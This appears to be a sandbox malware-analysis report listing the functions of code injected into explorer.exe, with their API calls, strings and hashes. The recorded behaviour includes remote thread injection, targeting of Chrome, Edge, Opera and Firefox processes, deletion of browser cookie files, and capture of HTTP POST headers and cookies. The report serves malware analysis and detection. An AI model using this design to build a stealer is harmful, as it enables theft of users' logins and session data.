Instruction ID: dcd502424e309425fe8eb10f29b26712ba654105e7724c8cb1046160188aa2ce
Opcode Fuzzy Hash: 0bdd0153c5d571ba371ff687eaf063fdcaa43c021457fa3483b6ad3aa1bdb115
Instruction Fuzzy Hash: 4301D430400601AFDB28BB64EC58BEB3B9CFF85711F118529B5D6871E2CA7B8A41CF65

Function 00083BE1 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00081000: GetProcessHeap.KERNEL32(00000008,00000208,00081418), ref: 00081003
Part of subcall function 00081000: RtlAllocateHeap.NTDLL(00000000), ref: 0008100A

wsprintfA.USER32 ref: 00083C1F

Part of subcall function 00081235: OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 0008123F
Part of subcall function 00081235: MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,00000000,00083C33), ref: 00081251

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00083C69
Process32First.KERNEL32(00000000,?), ref: 00083C88
lstrcmpi.KERNEL32(?,firefox.exe), ref: 00083CA1
lstrcmpi.KERNEL32(?,iexplore.exe), ref: 00083CB1
lstrcmpi.KERNEL32(?,microsoftedgecp.exe), ref: 00083CC1
lstrcmpi.KERNEL32(?,microsoftedgecp.exe), ref: 00083D12
Process32Next.KERNEL32(00000000,00000128), ref: 00083D68
CloseHandle.KERNELBASE(00000000), ref: 00083D77
Sleep.KERNELBASE(000003E8), ref: 00083D82

Part of subcall function 00081141: lstrlen.KERNEL32(?,?,?,00000000,?,000829DD,00000001), ref: 00081150
Part of subcall function 00081141: lstrlen.KERNEL32(:method POST,?,00000000,?,000829DD,00000001), ref: 00081155

Strings

firefox.exe, xrefs: 00083936, 00083C9B
microsoftedgecp.exe, xrefs: 00083A1A, 00083CB7, 00083D08
fgclearcookies, xrefs: 00083C3D
iexplore.exe, xrefs: 00083A0A, 00083CA7
%s%s, xrefs: 00083C19

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: lstrcmpi$FileHeapProcess32lstrlen$AllocateCloseCreateFirstHandleMappingNextOpenProcessSleepSnapshotToolhelp32Viewwsprintf
String ID: %s%s$fgclearcookies$firefox.exe$iexplore.exe$microsoftedgecp.exe
API String ID: 2509890648-2554907557
Opcode ID: 0d0ddd3babe7951f4962b83fe7927ab9f7e6e2b6a7115e594057a30b113bad32
Instruction ID: b3decc60f1b6fd0102e2c0e98a0bf13bb15c07833eab530b9c5dae2245e78d24
Opcode Fuzzy Hash: 0d0ddd3babe7951f4962b83fe7927ab9f7e6e2b6a7115e594057a30b113bad32
Instruction Fuzzy Hash: AF41E6316047029BD614BB74EC45ABF37ADBF94B40F000518B9D297192EF39DE068BA6

Function 00081235 Relevance: 3.0, APIs: 2, Instructions: 23
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 0008123F
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,00000000,00083C33), ref: 00081251

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 2b55954cab2d3ab23cb26bdc3426ab0b4883f1f8e4826569a64c97ab8e8399a0
Instruction ID: 31edbaac02ff07a1b824ab005dc06848c6bb7be7fdd6de8e3064e283bb2ae97a
Opcode Fuzzy Hash: 2b55954cab2d3ab23cb26bdc3426ab0b4883f1f8e4826569a64c97ab8e8399a0
Instruction Fuzzy Hash: 5ED017327052327BE3706ABB6C0CF836EDDEF86AE1B014025B649D2150D6608821C7F0

Function 00081261 Relevance: 3.0, APIs: 2, Instructions: 8
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnmapViewOfFile.KERNEL32(00000000,00000000,00083C5E,00000001), ref: 00081265
CloseHandle.KERNELBASE(?), ref: 0008126C

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: CloseFileHandleUnmapView
String ID:
API String ID: 2381555830-0
Opcode ID: f9525f4a91e8645a93b96e0a949e679c081eab0605ddecb765d952afeb12ae9a
Instruction ID: c184eb3bb083f7b6bb603a86e3cff50339feff78dbb80b7db0fead9aac5e1450
Opcode Fuzzy Hash: f9525f4a91e8645a93b96e0a949e679c081eab0605ddecb765d952afeb12ae9a
Instruction Fuzzy Hash: D3B01237419031D7D31427747C0C8CB3E18FF492213028540F24E82011473C08419FF5

Function 00081000 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,00000208,00081418), ref: 00081003
RtlAllocateHeap.NTDLL(00000000), ref: 0008100A

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: b94d352eba827c55e13339f87e9f3a43d9d04c7acd40f655af300f4012798e7b
Instruction ID: 4deb57588eb96029a35becf2c55eca230ebc00b67c115c5e18b133d903a3b778
Opcode Fuzzy Hash: b94d352eba827c55e13339f87e9f3a43d9d04c7acd40f655af300f4012798e7b
Instruction Fuzzy Hash: 0EA002B59501115BFE4457E4BD0DB173518B744745F248544738685050A97854148F21

Non-executed Functions

Function 00081FE5 Relevance: 45.7, APIs: 23, Strings: 3, Instructions: 208
injectionnativesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00081274: VirtualQuery.KERNEL32(?,?,0000001C), ref: 00081281

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,?,00000001,756F3E2E), ref: 0008201A
NtSetInformationProcess.NTDLL(00000000,00000034,?), ref: 00082055
NtUnmapViewOfSection.NTDLL(000000FF,00000000), ref: 000820E5
RtlMoveMemory.NTDLL(00000000,000850A0,00000016), ref: 0008210C
RtlMoveMemory.NTDLL(-00000016,00000363), ref: 00082134
NtUnmapViewOfSection.NTDLL(000000FF,-00000016), ref: 00082144
CreateMutexA.KERNEL32(00000000,00000000,opera_shared_counter), ref: 0008215E
GetLastError.KERNEL32 ref: 00082166
CloseHandle.KERNEL32(00000000), ref: 00082174
Sleep.KERNEL32(000003E8), ref: 0008217B
GetModuleHandleA.KERNEL32(ntdll,atan), ref: 00082191
GetProcAddress.KERNEL32(00000000), ref: 00082198
ReadProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 000821AE
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 000821D8
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 000821EB
CloseHandle.KERNEL32(00000000), ref: 000821F2
Sleep.KERNEL32(000001F4), ref: 000821F9
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 0008220D
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00082224
CloseHandle.KERNEL32(00000000), ref: 00082231
CloseHandle.KERNEL32(?), ref: 00082237
CloseHandle.KERNEL32(?), ref: 0008223D
CloseHandle.KERNEL32(00000000), ref: 00082240

Strings

atan, xrefs: 00082187
ntdll, xrefs: 0008218C
opera_shared_counter, xrefs: 00082157

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Handle$Close$MemoryProcess$Create$MoveRemoteSectionSleepThreadUnmapViewWrite$AddressErrorInformationLastModuleMutexOpenProcQueryReadVirtual
String ID: atan$ntdll$opera_shared_counter
API String ID: 1066286714-2737717697
Opcode ID: cb3eba5e0f163015cfdde3e865c7bed91dec7b23870b9c877b2fb9ccc63931f1
Instruction ID: b8529cd7b6f7b3f81938f29da9ae38e819e5d60d405e704a022585a417c3316f
Opcode Fuzzy Hash: cb3eba5e0f163015cfdde3e865c7bed91dec7b23870b9c877b2fb9ccc63931f1
Instruction Fuzzy Hash: 56616D71508315AFE710AF658C88E6B7BECFB88754F000629BA89D3291D778DD058F66

Function 000815BE Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 87
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00081000: GetProcessHeap.KERNEL32(00000008,00000208,00081418), ref: 00081003
Part of subcall function 00081000: RtlAllocateHeap.NTDLL(00000000), ref: 0008100A

PathCombineW.SHLWAPI(00000000,00000000,*.*), ref: 000815EB
FindFirstFileW.KERNEL32(00000000,?), ref: 000815F7
lstrcmpiW.KERNEL32(?,000841C8), ref: 00081623
lstrcmpiW.KERNEL32(?,000841CC), ref: 00081633
PathCombineW.SHLWAPI(00000000,?,?), ref: 0008164C
PathMatchSpecW.SHLWAPI(?,Cookies*), ref: 00081661
PathCombineW.SHLWAPI(00000000,?,?), ref: 0008167E
FindNextFileW.KERNEL32(00000000,00000010), ref: 0008169C
FindClose.KERNEL32(00000000), ref: 000816AB

Strings

Cookies*, xrefs: 0008165F
*.*, xrefs: 000815DE

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Path$CombineFind$FileHeaplstrcmpi$AllocateCloseFirstMatchNextProcessSpec
String ID: *.*$Cookies*
API String ID: 4256701249-3228320225
Opcode ID: de4fde3954acede6bbaa2663d65d846f994a8c3001a9ee01889cae48822a856e
Instruction ID: 8b79dbc0752a28f5ad1f1006910a533587f018e208c1d15e1b3a33415b5554fa
Opcode Fuzzy Hash: de4fde3954acede6bbaa2663d65d846f994a8c3001a9ee01889cae48822a856e
Instruction Fuzzy Hash: 832167712043169BD710BB60AC84ABF7BDCBF89795F040529FAC5D3241EB78DD464BA2

Function 000814D8 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 70
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000813FE: wsprintfW.USER32 ref: 0008142A
Part of subcall function 000813FE: FindFirstFileW.KERNEL32(00000000,?), ref: 00081439
Part of subcall function 000813FE: wsprintfW.USER32 ref: 00081476
Part of subcall function 000813FE: RemoveDirectoryW.KERNEL32(00000000), ref: 0008149C
Part of subcall function 000813FE: FindNextFileW.KERNEL32(00000000,00000010), ref: 000814AF
Part of subcall function 000813FE: FindClose.KERNEL32(00000000), ref: 000814BA

Part of subcall function 00081000: GetProcessHeap.KERNEL32(00000008,00000208,00081418), ref: 00081003
Part of subcall function 00081000: RtlAllocateHeap.NTDLL(00000000), ref: 0008100A

wsprintfW.USER32 ref: 0008150D
FindFirstFileW.KERNEL32(00000000,?), ref: 0008151C
wsprintfW.USER32 ref: 00081557
SetFileAttributesW.KERNEL32(00000000,00000020), ref: 0008156A
DeleteFileW.KERNEL32(00000000), ref: 00081571
FindNextFileW.KERNEL32(00000000,00000010), ref: 00081584
FindClose.KERNEL32(00000000), ref: 0008158F

Strings

%s%s, xrefs: 00081503, 00081551
*.*, xrefs: 000814FB

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: FileFind$wsprintf$CloseFirstHeapNext$AllocateAttributesDeleteDirectoryProcessRemove
String ID: %s%s$*.*
API String ID: 2055899612-705776850
Opcode ID: 80c984e5e7019e95e716a10583bb4acde58effe50df50ecf44e95ac5e90c50b4
Instruction ID: 5bb26f6c1dc7bd09f101a8d25e391cda339d68d8b89c612bbdf1b72f2cef919b
Opcode Fuzzy Hash: 80c984e5e7019e95e716a10583bb4acde58effe50df50ecf44e95ac5e90c50b4
Instruction Fuzzy Hash: 1F11B7312007055BE310BB649C49AEF7BDCFF95755F000519FED2922D3EB788A4687A6

Function 000813FE Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 69fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00081000: GetProcessHeap.KERNEL32(00000008,00000208,00081418), ref: 00081003
Part of subcall function 00081000: RtlAllocateHeap.NTDLL(00000000), ref: 0008100A

wsprintfW.USER32 ref: 0008142A
FindFirstFileW.KERNEL32(00000000,?), ref: 00081439
wsprintfW.USER32 ref: 00081476

Part of subcall function 000814D8: wsprintfW.USER32 ref: 0008150D
Part of subcall function 000814D8: FindFirstFileW.KERNEL32(00000000,?), ref: 0008151C
Part of subcall function 000814D8: wsprintfW.USER32 ref: 00081557
Part of subcall function 000814D8: SetFileAttributesW.KERNEL32(00000000,00000020), ref: 0008156A
Part of subcall function 000814D8: DeleteFileW.KERNEL32(00000000), ref: 00081571
Part of subcall function 000814D8: FindNextFileW.KERNEL32(00000000,00000010), ref: 00081584
Part of subcall function 000814D8: FindClose.KERNEL32(00000000), ref: 0008158F

RemoveDirectoryW.KERNEL32(00000000), ref: 0008149C
FindNextFileW.KERNEL32(00000000,00000010), ref: 000814AF
FindClose.KERNEL32(00000000), ref: 000814BA

Strings

%s%s\, xrefs: 00081470
%s%s, xrefs: 00081420
*.*, xrefs: 00081418

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: FileFind$wsprintf$CloseFirstHeapNext$AllocateAttributesDeleteDirectoryProcessRemove
String ID: %s%s$%s%s\$*.*
API String ID: 2055899612-4093207852
Opcode ID: fc9ea9a760a63c4b6c0563a6d2535c86a417247367b891c16f671a48bc96e344
Instruction ID: 7a152c0ea108eeacf04616a90babe5037b3a522f46ac4564a06091ccefb20d83
Opcode Fuzzy Hash: fc9ea9a760a63c4b6c0563a6d2535c86a417247367b891c16f671a48bc96e344
Instruction Fuzzy Hash: D21190302043416BE710BB25EC49AFF76DCFFD5355F000529FAC192292DB79484A8B62

Function 0008118D Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 68encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 000811A9
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 000811C1
lstrlen.KERNEL32(?,00000000), ref: 000811C9
CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 000811D4
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 000811EE
wsprintfA.USER32 ref: 00081205
CryptDestroyHash.ADVAPI32(?), ref: 0008121E
CryptReleaseContext.ADVAPI32(?,00000000), ref: 00081228

Strings

%02X, xrefs: 000811FF

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamReleaselstrlenwsprintf
String ID: %02X
API String ID: 3341110664-436463671
Opcode ID: b8a327b00917767bbca748ae488a158710af53418303ed8a59bb428a91e867ef
Instruction ID: 298286c9a9371f5bd7e7a063f8446572b34c6f4efce2401be2fb8dd3adceacc5
Opcode Fuzzy Hash: b8a327b00917767bbca748ae488a158710af53418303ed8a59bb428a91e867ef
Instruction Fuzzy Hash: 62113D71900109BFEB119F95EC88EEFBBBCFB44701F104065F645E2150DB754E559B60

Function 000816C7 Relevance: 15.1, APIs: 10, Instructions: 51threadprocessinjectionCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 000816D9
GetCurrentThreadId.KERNEL32 ref: 000816E1
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 000816F1
Thread32First.KERNEL32(00000000,0000001C), ref: 000816FF
OpenThread.KERNEL32(001FFFFF,00000000,?), ref: 0008171E
SuspendThread.KERNEL32(00000000), ref: 0008172E
CloseHandle.KERNEL32(00000000), ref: 0008173D
Thread32Next.KERNEL32(00000000,0000001C), ref: 0008174D
CloseHandle.KERNEL32(00000000), ref: 00081758

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Thread$CloseCurrentHandleThread32$CreateFirstNextOpenProcessSnapshotSuspendToolhelp32
String ID:
API String ID: 1467098526-0
Opcode ID: afb79f67b1f9fd075387a4cdec190970a8b480f67c71d1882683ab69d3bddf25
Instruction ID: 9f8a97b458fd6a1e1d725efe8f807f36da717ca79b52438bb26f371cecc15507
Opcode Fuzzy Hash: afb79f67b1f9fd075387a4cdec190970a8b480f67c71d1882683ab69d3bddf25
Instruction Fuzzy Hash: 53113C72408212EBE711AF60AC48AAFBFF8FF85711F05041DF6C592150D738894A9FA7

Function 00082E1B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54nativeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00001000,00000000,?,?,00000001,?,00082EC5), ref: 00082E27

Part of subcall function 00081000: GetProcessHeap.KERNEL32(00000008,00000208,00081418), ref: 00081003
Part of subcall function 00081000: RtlAllocateHeap.NTDLL(00000000), ref: 0008100A

NtQueryInformationProcess.NTDLL(00000000,0000003C,00000000,00010006,?), ref: 00082E52
NtQueryInformationProcess.NTDLL(00000000,0000003C,00000000,?,?), ref: 00082E7F
StrStrIW.SHLWAPI(?,NetworkService), ref: 00082E92

Part of subcall function 00081011: GetProcessHeap.KERNEL32(00000000,00000000,00000000,000814CB), ref: 00081020
Part of subcall function 00081011: HeapFree.KERNEL32(00000000), ref: 00081027

Strings

NetworkService, xrefs: 00082E8A

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Process$Heap$InformationQuery$AllocateFreeOpen
String ID: NetworkService
API String ID: 1656241333-2019834739
Opcode ID: c3c891bf310ddb1e1df04d13e9dff9e11e08e117764bfefb19d910cea458b283
Instruction ID: 2a2cb19856545ee97dced0d83344d7303902199a923c80ef4bb46b56f5b20446
Opcode Fuzzy Hash: c3c891bf310ddb1e1df04d13e9dff9e11e08e117764bfefb19d910cea458b283
Instruction Fuzzy Hash: EC01D471300346BFE7247B219C49FAB3A9DFFD8392F014029F68AD6142DAB59C808B20

Function 00081E4C Relevance: 6.1, APIs: 4, Instructions: 101libraryloaderCOMMON

Download Yara Rule

APIs

RtlMoveMemory.NTDLL(?,?,?), ref: 00081E83
LoadLibraryA.KERNEL32(?), ref: 00081EAB
GetProcAddress.KERNEL32(00000000,-00000002), ref: 00081ED8
LdrProcessRelocationBlock.NTDLL(?,?,00000008,?), ref: 00081F29

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: AddressBlockLibraryLoadMemoryMoveProcProcessRelocation
String ID:
API String ID: 3827878703-0
Opcode ID: 88a57c618af0bce28b4bd03ce4e1436d8279253e8c428e03aa47962ae06e8f65
Instruction ID: 568ebf0d0beaab3ca419b44d6bddffa2e7cdb8569d387974d06ed25d6f468c67
Opcode Fuzzy Hash: 88a57c618af0bce28b4bd03ce4e1436d8279253e8c428e03aa47962ae06e8f65
Instruction Fuzzy Hash: A4317A72700216ABCB689F29CC84BA6B7ECFF15354B15456CE986CB201D735E846CBA4

Function 00082EA8 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

StrStrIA.SHLWAPI(chrome.exe|opera.exe|msedge.exe,?), ref: 00082EB4

Part of subcall function 00082E1B: OpenProcess.KERNEL32(00001000,00000000,?,?,00000001,?,00082EC5), ref: 00082E27
Part of subcall function 00082E1B: NtQueryInformationProcess.NTDLL(00000000,0000003C,00000000,00010006,?), ref: 00082E52
Part of subcall function 00082E1B: NtQueryInformationProcess.NTDLL(00000000,0000003C,00000000,?,?), ref: 00082E7F
Part of subcall function 00082E1B: StrStrIW.SHLWAPI(?,NetworkService), ref: 00082E92

Strings

chrome.exe|opera.exe|msedge.exe, xrefs: 00082EAB

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: Process$InformationQuery$Open
String ID: chrome.exe|opera.exe|msedge.exe
API String ID: 4117927671-3743313796
Opcode ID: d765239eed22a84fe2a582faad1555bd170bfb445a8a896243ebaaeda78abc67
Instruction ID: 74462bb72cca3f48bcbab1f2b981006a3a1547241742571b3dc85306c1ef6728
Opcode Fuzzy Hash: d765239eed22a84fe2a582faad1555bd170bfb445a8a896243ebaaeda78abc67
Instruction Fuzzy Hash: C6D0A932300222072B2C367A6C0A86FA48DEBC2A62302013EF982C7240EA908C0343A4

Function 00082974 Relevance: 35.2, APIs: 9, Strings: 11, Instructions: 157
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00081141: lstrlen.KERNEL32(?,?,?,00000000,?,000829DD,00000001), ref: 00081150
Part of subcall function 00081141: lstrlen.KERNEL32(:method POST,?,00000000,?,000829DD,00000001), ref: 00081155

Part of subcall function 00081000: GetProcessHeap.KERNEL32(00000008,00000208,00081418), ref: 00081003
Part of subcall function 00081000: RtlAllocateHeap.NTDLL(00000000), ref: 0008100A

Part of subcall function 0008104C: VirtualAlloc.KERNEL32(00000000,00001105,00003000,00000040,00082A16,?,00000001), ref: 00081056

Part of subcall function 0008285F: RtlMoveMemory.NTDLL(?,-00000001,-00000001), ref: 000828A2

lstrcat.KERNEL32(00000000,dyn_header_host), ref: 00082A4A
lstrcat.KERNEL32(00000001,dyn_header_path), ref: 00082A6C
lstrcat.KERNEL32(?,dyn_header_ua), ref: 00082A8D
RtlZeroMemory.NTDLL(?,0000000A), ref: 00082A96
StrToIntA.SHLWAPI(00000000), ref: 00082AB9
wnsprintfA.SHLWAPI ref: 00082B0D
lstrcat.KERNEL32(00000000,?), ref: 00082B2D
lstrcat.KERNEL32(00000000,{:!:}), ref: 00082B35
lstrcat.KERNEL32(00000000,?), ref: 00082B3C

Strings

:path , xrefs: 00082A50
user-agent , xrefs: 00082A72
host , xrefs: 00082A33
:authority , xrefs: 00082A17
content-length , xrefs: 00082AA0
dyn_header_ua, xrefs: 00082A87
%s (HTTP2){:!:}%s%s{:!:}%s{:!:}, xrefs: 00082B06
dyn_header_host, xrefs: 00082A44
:method POST, xrefs: 000829D1
dyn_header_path, xrefs: 00082A66
{:!:}, xrefs: 00082B2F

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: lstrcat$HeapMemorylstrlen$AllocAllocateMoveProcessVirtualZerownsprintf
String ID: %s (HTTP2){:!:}%s%s{:!:}%s{:!:}$:authority $:method POST$:path $content-length $dyn_header_host$dyn_header_path$dyn_header_ua$host $user-agent ${:!:}
API String ID: 2605944266-950501416
Opcode ID: 3708fc94a6399f6576d4b538be11fc28fac94a17c61d9412e710aaba2dbd2d1a
Instruction ID: d8dd03a251d738af89b9767004e5c399ca865ed0c4bb03e024ab117a7b61717e
Opcode Fuzzy Hash: 3708fc94a6399f6576d4b538be11fc28fac94a17c61d9412e710aaba2dbd2d1a
Instruction Fuzzy Hash: BF516D706043419BDB19BF24C984AAEBBDABF98304F04081DF8C597293DB78DC468B66

Function 00082FAA Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 124
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00081141: lstrlen.KERNEL32(?,?,?,00000000,?,000829DD,00000001), ref: 00081150
Part of subcall function 00081141: lstrlen.KERNEL32(:method POST,?,00000000,?,000829DD,00000001), ref: 00081155

RtlZeroMemory.NTDLL(?,0000000A), ref: 00082FFA
StrToIntA.SHLWAPI(?), ref: 00083024
lstrlen.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00083347), ref: 00083052
wsprintfA.USER32 ref: 000830B9
lstrcat.KERNEL32(00000000,00000000), ref: 000830E5
lstrcat.KERNEL32(?,{:!:}), ref: 000830F8
lstrlen.KERNEL32(?,?,?,?,?,?,?,00086038), ref: 00083109
RtlMoveMemory.NTDLL(00000000), ref: 00083112

Part of subcall function 00081011: GetProcessHeap.KERNEL32(00000000,00000000,00000000,000814CB), ref: 00081020
Part of subcall function 00081011: HeapFree.KERNEL32(00000000), ref: 00081027

Strings

Cookie:, xrefs: 000830CE
Content-Length:, xrefs: 00083004
Host:, xrefs: 0008303B
, xrefs: 00083068
%s{:!:}%s{:!:}%s{:!:}, xrefs: 000830B3
application/json, xrefs: 00082FC5
application/x-www-form-urlencoded, xrefs: 00082FAD
{:!:}, xrefs: 000830F2
User-Agent:, xrefs: 00083094

Memory Dump Source

Source File: 00000016.00000002.628343470.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_81000_explorer.jbxd

Similarity

API ID: lstrlen$HeapMemorylstrcat$FreeMoveProcessZerowsprintf
String ID: $%s{:!:}%s{:!:}%s{:!:}$Content-Length:$Cookie:$Host:$User-Agent:$application/json$application/x-www-form-urlencoded${:!:}
API String ID: 2886538537-1627781280
Opcode ID: 6b06f765faa35a0d88aaab11fad6d1e7495b49b1bec6b2203fc1a68d1a52bb17
Instruction ID: 0ab628cf7cdd2d7bd700d5d11cd162a6a2ce618acf256a36fb072680de120010
Opcode Fuzzy Hash: 6b06f765faa35a0d88aaab11fad6d1e7495b49b1bec6b2203fc1a68d1a52bb17
Instruction Fuzzy Hash: 243193313002466BD704BB248C59BAF36AEBFC4B41F00443CFAC297283DA7999468BA1

Function 00083709 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 73
stringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00081363: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00081374
Part of subcall function 00081363: Process32First.KERNEL32(00000000,?), ref: 00081393
Part of subcall function 00081363: CloseHandle.KERNEL32(00000000), ref: 000813CB

Part of subcall function 00081363: lstrcmpi.KERNEL32(?), ref: 000813A3
Part of subcall function 00081363: Process32Next.KERNEL32(00000000,00000128), ref: 000813C0

Sleep.KERNEL32(000003E8,?,00000000,00000001,?,?,00083839,?,00083C53,00000001), ref: 00083731

Part of subcall function 00081000: GetProcessHeap.KERNEL32(00000008,00000208,00081418), ref: 00081003
Part of subcall function 00081000: RtlAllocateHeap.NTDLL(00000000), ref: 0008100A

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001C,00000000), ref: 00083752
lstrcatW.KERNEL32(00000000,\Google\Chrome\User Data\), ref: 00083764

Part of subcall function 000815BE: PathCombineW.SHLWAPI(00000000,00000000,*.*), ref: 000815EB
Part of subcall function 000815BE: FindFirstFileW.KERNEL32(00000000,?), ref: 000815F7
Part of subcall function 000815BE: lstrcmpiW.KERNEL32(?,000841C8), ref: 00081623
Part of subcall function 000815BE: lstrcmpiW.KERNEL32(?,000841CC), ref: 00081633
Part of subcall function 000815BE: PathCombineW.SHLWAPI(00000000,?,?), ref: 0008164C
Part of subcall function 000815BE: FindNextFileW.KERNEL32(00000000,00000010), ref: 0008169C
Part of subcall function 000815BE: FindClose.KERNEL32(00000000), ref: 000816AB

RtlZeroMemory.NTDLL(00000000,00001000), ref: 0008377A
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001C,00000000), ref: 00083783
lstrcatW.KERNEL32(00000000,\Microsoft\Edge\User Data\), ref: 0008378F
RtlZeroMemory.NTDLL(00000000,00001000), ref: 000837A3
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 000837AC
lstrcatW.KERNEL32(00000000,\Opera Software\Opera Stable\), ref: 000837B8

Strings

\Microsoft\Edge\User Data\, xrefs: 00083789
Cookies*, xrefs: 00083766, 00083791, 000837BA
\Opera Software\Opera Stable\, xrefs: 000837B2
msedge.exe, xrefs: 00083722
chrome.exe, xrefs: 0008370E
opera.exe, xrefs: 00083718
\Google\Chrome\User Data\, xrefs: 0008375E

Memory Dump Source

